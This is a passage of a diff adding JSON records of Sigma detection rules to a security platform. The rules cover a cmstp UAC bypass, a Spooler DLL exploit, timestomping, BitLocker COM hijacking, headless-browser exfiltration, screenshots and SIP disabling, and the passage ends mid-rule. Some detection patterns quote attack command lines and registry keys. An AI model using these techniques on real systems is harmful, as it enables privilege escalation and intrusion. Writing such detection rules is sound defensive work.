+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093133Z",
+  "creation_date": "2026-03-23T11:45:34.093135Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093140Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_cmstp.yml",
+  "content": "title: UAC Bypass Executed via cmstp\nid: c554e3b6-a069-4a89-89ba-f0648c009a3f\ndescription: |\n    Detects the execution of the cmstp.exe UAC bypass.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the parent process and user session responsible for UAC bypass to look for malicious content or actions.\nreferences:\n    - https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/09/25\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1548.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        - Image|endswith: '\\cmstp.exe'\n        - OriginalFileName: 'CMSTP.EXE'\n    selection_2:\n        # example: \"cmstp.exe /s /au malicious_profile.inf\"\n        # NOTE: spaces will always be present for this matching, this also allow to not have special exclude lists for \"/su\".\n        CommandLine|contains:\n            # /s: \"Silent mode\"\n            - '/s '\n            # /au: \"All User Install\"\n            - '/au '\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c554e3b6-a069-4a89-89ba-f0648c009a3f",
+  "rule_name": "UAC Bypass Executed via cmstp",
+  "rule_description": "Detects the execution of the cmstp.exe UAC bypass.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the parent process and user session responsible for UAC bypass to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-09-25",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c55e3b3a-1eb9-4864-9f07-e1ee1185048f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085168Z",
+  "creation_date": "2026-03-23T11:45:34.085170Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085175Z",
+  "rule_level": "low",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21999",
+    "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999",
+    "https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81",
+    "https://docs.microsoft.com/en-us/windows-hardware/drivers/print/downloading-queue-specific-files"
+  ],
+  "name": "t1574_spoolsv_new_p2p_registered.yml",
+  "content": "title: Spoolsv Point and Print DLL Added\nid: c55e3b3a-1eb9-4864-9f07-e1ee1185048f\ndescription: |\n    Detects the installation of a new Point and Print DLL.\n    Attackers can install a new Point and Print DLL as part of CVE-2022-21999 to gain local code execution in spoolsv.\n    It is recommended to analyze the DLL pointed to by the registry value to look for malicious content and to investigate any subsequent suspicious behavior by the Spooler service.\nreferences:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21999\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999\n    - https://research.ifcr.dk/spoolfool-windows-print-spooler-privilege-escalation-cve-2022-22718-bf7752b68d81\n    - https://docs.microsoft.com/en-us/windows-hardware/drivers/print/downloading-queue-specific-files\ndate: 2022/02/16\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1574\n    - attack.s0002\n    - cve.2022-21999\n    - classification.Windows.Source.Registry\n    - classification.Windows.Exploit.CVE-2022-21999\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        Image|endswith: '\\spoolsv.exe'\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\\\*\\CopyFiles\\Module'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    condition: selection and not 1 of filter_*\nlevel: low\n# level: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c55e3b3a-1eb9-4864-9f07-e1ee1185048f",
+  "rule_name": "Spoolsv Point and Print DLL Added",
+  "rule_description": "Detects the installation of a new Point and Print DLL.\nAttackers can install a new Point and Print DLL as part of CVE-2022-21999 to gain local code execution in spoolsv.\nIt is recommended to analyze the DLL pointed to by the registry value to look for malicious content and to investigate any subsequent suspicious behavior by the Spooler service.\n",
+  "rule_creation_date": "2022-02-16",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c566c912-0ee9-4945-a27e-417c0403b2ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097639Z",
+  "creation_date": "2026-03-23T11:45:34.097641Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097645Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md",
+    "https://attack.mitre.org/techniques/T1070/006/"
+  ],
+  "name": "t1070_006_touch_timestomp_macos.yml",
+  "content": "title: File Timestamps Altered via Touch (macOS)\nid: c566c912-0ee9-4945-a27e-417c0403b2ef\ndescription: |\n    Detects the usage of the touch command to alter file access and modification times.\n    This is used by attackers to mimic the timestamp of other files in the same directory.\n    It is recommended to check if the modification is legitimate.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md\n    - https://attack.mitre.org/techniques/T1070/006/\ndate: 2022/08/25\nmodified: 2025/07/07\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.006\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|endswith: '/touch'\n        CommandLine|contains:\n            - ' -a '\n            - ' -ac '\n            - ' -ca '\n            - ' -t '\n            - ' -ct '\n            - ' -d '\n            - ' -cd '\n            - ' --date'\n            - ' -r '\n            - ' -cr '\n            - '--reference'\n\n            # change only the access time using STAMP\n            - ' -at'\n            - ' -act'\n            - ' -cat'\n            # change only the modification time using STAMP\n            - ' -mt'\n            - ' -mct'\n            - ' -cmt'\n            # change access and modification times using STAMP\n            - ' -amt'\n            - ' -mat'\n            - ' -amct'\n            - ' -mact'\n            - ' -camt'\n            - ' -cmat'\n            - ' -mcat'\n            - ' -acmt'\n\n            # change only the access time using STRING\n            - ' -ad'\n            - ' -acd'\n            - ' -cad'\n            # change only the modification time using STRING\n            - ' -md'\n            - ' -mcd'\n            - ' -cmd'\n            # change access and modification times using STRING\n            - ' -amd'\n            - ' -mad'\n            - ' -amcd'\n            - ' -macd'\n            - ' -camd'\n            - ' -cmad'\n            - ' -mcad'\n            - ' -acmd'\n\n            # change only the acess time using reference file\n            - ' -ar'\n            - ' -acr'\n            - ' -car'\n            # change only the modification time using reference file\n            - ' -mr'\n            - ' -mcr'\n            - ' -cmr'\n            # change access and modification times using reference file\n            - ' -amr'\n            - ' -mar'\n            - ' -amcr'\n            - ' -macr'\n            - ' -camr'\n            - ' -cmar'\n            - ' -mcar'\n            - ' -acmr'\n\n    # touch -r /tmp/KSInstallAction.aD9q7Aw3bv/m/.patch/application.dirpatch /var/folders/l7/kzb_3gd56bl4lgqkkmzb9wt40000gn/T/keystone_install.4MQDcLZ1/Google Chrome.app\n    # touch -r /tmp/KSInstallAction.MXP23s6QRN/m/.patch/framework_108.0.5359.98_108.0.5359.124.dirpatch/Resources/th.lproj /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/108.0.5359.124/Resources/th.lproj\n    exclusion_google_chrome_updater:\n        GrandparentCommandLine|startswith: '/bin/bash -p /tmp/KSInstallAction'\n        CommandLine|contains|all:\n            - 'touch -r /tmp/KSInstallAction'\n            - 'Google Chrome.app'\n\n    exclusion_google_chrome_universal_update:\n        CommandLine:\n            - 'touch -r /Volumes/Google Chrome * universal Update/.patch/application.dirpatch*'\n            - 'touch -r /Volumes/Google Chrome * universal Update/.patch/framework_*.dirpatch*'\n            - 'touch -r /Volumes/Google Chrome Dev * Update/.patch/application.dirpatch*'\n            - 'touch -r /Volumes/Google Chrome Dev * Update/.patch/framework_*.dirpatch*'\n\n    # /bin/bash /usr/local/f-secure/bin/launchd_wrapper com.f-secure.fsmac.licensetool /usr/local/f-secure/fssp/bin/licensetool --update\n    exclusion_fsecure_license_updater:\n        ProcessGrandparentImage: '/sbin/launchd'\n        ProcessParentCommandLine|contains: '/usr/local/f-secure/bin/launchd_wrapper'\n\n    exclusion_fbreactnativespec:\n        CurrentDirectory: '/Users/*/node_modules/react-native/*'\n\n    exclusion_chrome:\n        Ancestors|contains:\n            - '|/Library/Application Support/Google/GoogleUpdater/*/GoogleUpdater.app/Contents/MacOS/GoogleUpdater|'\n            - '|/Users/*/Library/Application Support/Google/GoogleUpdater/*/GoogleUpdater.app/Contents/MacOS/GoogleUpdater|'\n\n    exclusion_vmware:\n        CommandLine: 'touch -r /library/application support/vmware/vmware fusion/services/contents/library/vmnet-cli -- /library/preferences/vmware fusion/networking'\n        ParentCommandLine: '/bin/bash -p /library/application support/vmware/vmware fusion/services/contents/library/services/services.sh --start'\n        GrandparentCommandLine|startswith: '/Library/Application Support/VMware/VMware Fusion/Services/Contents/Library/services/VMware Fusion Services'\n\n    exclusion_installer:\n        ProcessParentCommandLine|startswith: '/bin/sh /tmp/PKInstallSandbox.??????/'\n\n    exclusion_snapgene:\n        ProcessParentImage:\n            - '/Applications/SnapGene.app/Contents/MacOS/SnapGene'\n            - '/Users/*/Applications/SnapGene.app/Contents/MacOS/SnapGene'\n\n    exclusion_upnote:\n        ProcessGrandparentImage: '/Applications/UpNote.app/Contents/MacOS/UpNote'\n\n    exclusion_envman:\n        ProcessCommandLine: 'touch -a /Users/*/.config/envman/*'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c566c912-0ee9-4945-a27e-417c0403b2ef",
+  "rule_name": "File Timestamps Altered via Touch (macOS)",
+  "rule_description": "Detects the usage of the touch command to alter file access and modification times.\nThis is used by attackers to mimic the timestamp of other files in the same directory.\nIt is recommended to check if the modification is legitimate.\n",
+  "rule_creation_date": "2022-08-25",
+  "rule_modified_date": "2025-07-07",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c5c3eec3-cf96-44dc-b46a-b56808eb2ab0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090747Z",
+  "creation_date": "2026-03-23T11:45:34.090749Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090753Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://ipurple.team/2025/08/04/lateral-movement-bitlocker/",
+    "https://github.com/rtecCyberSec/BitlockMove",
+    "https://attack.mitre.org/techniques/T1021/003/"
+  ],
+  "name": "t1021_003_bitlockmove.yml",
+  "content": "title: Bitlocker COM Hijacking Lateral Movement\nid: c5c3eec3-cf96-44dc-b46a-b56808eb2ab0\ndescription: |\n  Detects COM object hijacking attempts targeting the BaaUpdate.exe process within BitLocker encryption services.\n  Attackers can exploit this technique to hijack BitLocker's COM interface through registry manipulation, allowing them to execute malicious code within the trusted context of legitimate BitLocker update processes and achieve lateral movement across domain-joined encrypted systems.\n  It is recommended to immediately isolate affected systems, investigate the source of COM hijacking by analyzing registry changes and unauthorized DLL modifications and correlate with authentication logs to identify potential lateral movement paths.\nreferences:\n    - https://ipurple.team/2025/08/04/lateral-movement-bitlocker/\n    - https://github.com/rtecCyberSec/BitlockMove\n    - https://attack.mitre.org/techniques/T1021/003/\ndate: 2025/09/23\nmodified: 2025/09/30\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.003\n    - attack.discovery\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKU\\\\*\\CLSID\\{A7A63E5C-3877-4840-8727-C1EA9D7A4D50}\\InProcServer32\\(Default)'\n        Details|endswith: '.dll'\n        IsPreviousDetailsSet: false\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c5c3eec3-cf96-44dc-b46a-b56808eb2ab0",
+  "rule_name": "Bitlocker COM Hijacking Lateral Movement",
+  "rule_description": "Detects COM object hijacking attempts targeting the BaaUpdate.exe process within BitLocker encryption services.\nAttackers can exploit this technique to hijack BitLocker's COM interface through registry manipulation, allowing them to execute malicious code within the trusted context of legitimate BitLocker update processes and achieve lateral movement across domain-joined encrypted systems.\nIt is recommended to immediately isolate affected systems, investigate the source of COM hijacking by analyzing registry changes and unauthorized DLL modifications and correlate with authentication logs to identify potential lateral movement paths.\n",
+  "rule_creation_date": "2025-09-23",
+  "rule_modified_date": "2025-09-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.003",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c5daf312-dbde-4955-91e7-9f1c2f5c1d53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084069Z",
+  "creation_date": "2026-03-23T11:45:34.084071Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084076Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@simone.kraus/critical-engergy-infrastructure-facility-in-ukraine-attack-b15638f6a402",
+    "https://www.zscaler.com/blogs/security-research/steal-it-campaign",
+    "https://attack.mitre.org/techniques/T1567/",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1102/"
+  ],
+  "name": "t1567_msedge_headless_mode.yml",
+  "content": "title: Microsoft Edge Run in Headless Mode\nid: c5daf312-dbde-4955-91e7-9f1c2f5c1d53\ndescription: |\n    Detects the execution of Microsoft Edge in headless mode.\n    Attackers can use browsers in headless mode to download payloads or to make their exfiltration process more stealthy.\n    It is recommended to analyze the parent process for malicious content to determine the legitimacy of this action.\nreferences:\n    - https://medium.com/@simone.kraus/critical-engergy-infrastructure-facility-in-ukraine-attack-b15638f6a402\n    - https://www.zscaler.com/blogs/security-research/steal-it-campaign\n    - https://attack.mitre.org/techniques/T1567/\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1102/\ndate: 2023/09/07\nmodified: 2025/10/28\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1567\n    - attack.command_and_control\n    - attack.t1105\n    - attack.t1102\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '\\msedge.exe'\n        CommandLine|contains: '--headless'\n\n    exclusion_parent_edge:\n        ParentImage|endswith: '\\msedge.exe'\n\n    exclusion_vscode:\n        ParentImage|endswith: '\\Code.exe'\n\n    exclusion_avira:\n        ParentImage:\n            - '?:\\Program Files\\Avira\\Endpoint Protection SDK\\endpointprotection.exe'\n            - '?:\\Program Files (x86)\\Avira\\Endpoint Protection SDK\\endpointprotection.exe'\n\n    exclusion_unity_pdf:\n        ParentImage|endswith: '\\Unity.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Unity Technologies Aps'\n        CommandLine|contains: '--print-to-pdf='\n\n    exclusion_nodejs:\n        ParentImage|endswith: '\\node.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'OpenJS Foundation'\n\n    exclusion_microsoftdriver:\n        ProcessParentInternalName: 'msedgedriver_exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_notatext:\n        ParentImage: '?:\\Program Files (x86)\\NS SOFT\\NotaNext\\NotaNext.exe'\n\n    exclusion_r:\n        ParentImage:\n            - '?:\\Program Files\\R\\R-*\\bin\\x64\\Rterm.exe'\n            - '?:\\Program Files\\RStudio\\resources\\app\\bin\\rsession-utf8.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\RStudio\\resources\\app\\bin\\rsession-utf8.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c5daf312-dbde-4955-91e7-9f1c2f5c1d53",
+  "rule_name": "Microsoft Edge Run in Headless Mode",
+  "rule_description": "Detects the execution of Microsoft Edge in headless mode.\nAttackers can use browsers in headless mode to download payloads or to make their exfiltration process more stealthy.\nIt is recommended to analyze the parent process for malicious content to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2023-09-07",
+  "rule_modified_date": "2025-10-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1102",
+    "attack.t1105",
+    "attack.t1567"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c5fe22a8-0044-400d-ab37-d3a48796aa0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611555Z",
+  "creation_date": "2026-03-23T11:45:34.611558Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611566Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen",
+    "https://www.powershellgallery.com/packages/GAT/1.2.0/Content/Functions%5CSave-Screenshot.ps1",
+    "https://attack.mitre.org/techniques/T1113/"
+  ],
+  "name": "t1113_possible_screenshot_taken_powershell.yml",
+  "content": "title: Screen Capture Taken via PowerShell\nid: c5fe22a8-0044-400d-ab37-d3a48796aa0b\ndescription: |\n    Detects the usage of PowerShell to take screenshot on a host.\n    Attackers may attempt to take screenshots to gather information on a running operation.\n    It is recommended to investigate the PowerShell command as well as other malicious commands executed on the host to determine legitimacy.\nreferences:\n    - https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen\n    - https://www.powershellgallery.com/packages/GAT/1.2.0/Content/Functions%5CSave-Screenshot.ps1\n    - https://attack.mitre.org/techniques/T1113/\ndate: 2022/11/17\nmodified: 2025/03/12\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1113\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Collection\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_copy:\n        PowershellCommand|contains:\n            - '.CopyFromScreen '\n            - '.CopyFromScreen('\n\n    selection_bitmap:\n        PowershellCommand|contains:\n            - 'Drawing.Bitmap '\n            - 'Drawing.Bitmap('\n\n    exclusion_activedirectory:\n        ProcessCommandLine|endswith: '\\powershell.exe -noexit -command import-module ActiveDirectory'\n        PowershellCommand|contains:\n            - 'function Get-ScreenPNG {'\n            - 'function Set-ClipboardScreenshot {'\n\n    exclusion_agicorp:\n        PowershellScriptPath: '?:\\Program Files (x86)\\AgiCorp\\\\*\\Updater.ps1'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\n#level: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c5fe22a8-0044-400d-ab37-d3a48796aa0b",
+  "rule_name": "Screen Capture Taken via PowerShell",
+  "rule_description": "Detects the usage of PowerShell to take screenshot on a host.\nAttackers may attempt to take screenshots to gather information on a running operation.\nIt is recommended to investigate the PowerShell command as well as other malicious commands executed on the host to determine legitimacy.\n",
+  "rule_creation_date": "2022-11-17",
+  "rule_modified_date": "2025-03-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1113"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c63b800c-c4a0-41fa-aaa0-f278bb36b73d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.616927Z",
+  "creation_date": "2026-03-23T11:45:34.616930Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.616938Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/v/fr/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_sip_disbaled_via_csrutil.yml",
+  "content": "title: System Integrity Protection Disabled via csrutil\nid: c63b800c-c4a0-41fa-aaa0-f278bb36b73d\ndescription: |\n    Detects the execution of csrutil to disable System Integrity Protection (SIP) on macOS.\n    SIP is a security feature of macOS that restricts the root user account and limits the actions that the root user can perform on protected parts of the system.\n    Disabling SIP allows an attacker to modify protected parts of the system, such as system binaries, and to install malicious software.\n    It is recommended to check csrutil's execution context to look for suspicious processes.\nreferences:\n    - https://book.hacktricks.xyz/v/fr/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2024/07/03\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Csrutil\n    - classification.macOS.Behavior.DefenseEvasion\n    - classification.macOS.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n      Image: 